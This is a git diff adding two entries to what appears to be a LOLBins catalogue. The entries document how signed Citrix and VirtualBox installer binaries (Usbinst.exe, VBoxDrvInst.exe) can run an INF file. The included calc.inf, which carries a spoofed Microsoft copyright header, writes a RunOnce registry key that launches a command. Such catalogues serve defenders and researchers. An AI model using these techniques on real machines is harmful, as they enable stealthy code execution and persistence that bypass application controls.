diff --git a/LOLBins.md b/LOLBins.md index b067aaf..d9b233e 100644 --- a/LOLBins.md +++ b/LOLBins.md @@ -91,6 +91,6 @@ If you are missing from the acknowledgement, please let me know (I did not forge # OTHER NON MICROSOFT BINARIES [Nvuhda6.exe](OtherBinaries/Nvuhda6.md) [Nvudisp.exe](OtherBinaries/Nvudisp.md) - - +[VBoxDrvInst.exe](OtherBinaries/VBoxDrvInst.md) +[Usbinst.exe](OtherBinaries/Usbinst.md) diff --git a/OtherBinaries/Usbinst.md b/OtherBinaries/Usbinst.md new file mode 100644 index 0000000..8ad5e24 --- /dev/null +++ b/OtherBinaries/Usbinst.md @@ -0,0 +1,48 @@ +## Usbinst.exe + +* Functions: Execute + +``` +Usbinst.exe InstallHinfSection "DefaultInstall 128 c:\temp\calc.inf" + +``` + +Acknowledgements: +* Pierre-Alexandre Braeken - @pabraeken + + +Resources: +* https://twitter.com/pabraeken/status/993514357807108096 + +Full path: +``` +C:\Program Files (x86)\Citrix\ICA Client\Drivers64\Usbinst.exe +``` + +Notes: +calc.inf +``` +; DRIVER.INF +; Copyright (c) Microsoft Corporation. All rights reserved. + +[Version] +Signature = "$CHICAGO$" +Class=61883 +ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17} +Provider=%Msft% +DriverVer=06/21/2006,6.1.7600.16385 + +[DestinationDirs] +DefaultDestDir = 1 + +[DefaultInstall] +AddReg = CalcStart + +[CalcStart] +HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,cmd.exe /c """calc.exe""" +``` + + + + + diff --git a/OtherBinaries/VBoxDrvInst.md b/OtherBinaries/VBoxDrvInst.md new file mode 100644 index 0000000..8d88d5b --- /dev/null +++ b/OtherBinaries/VBoxDrvInst.md @@ -0,0 +1,45 @@ +## VBoxDrvInst.exe + +* Functions: Persistence + +``` +VBoxDrvInst.exe driver executeinf c:\temp\calc.inf +``` + +Acknowledgements: +* Pierre-Alexandre Braeken - @pabraeken + +Code sample: +* + +Resources: +* https://twitter.com/pabraeken/status/993497996179492864 + +Full path: +``` +C:\Program Files\Oracle\VirtualBox Guest Additions +``` + +Notes: +calc.inf +``` +; DRIVER.INF +; Copyright (c) Microsoft Corporation. All rights reserved. + +[Version] +Signature = "$CHICAGO$" +Class=61883 +ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17} +Provider=%Msft% +DriverVer=06/21/2006,6.1.7600.16385 + +[DestinationDirs] +DefaultDestDir = 1 + +[DefaultInstall] +AddReg = CalcStart + +[CalcStart] +HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,cmd.exe /c """calc.exe""" +``` +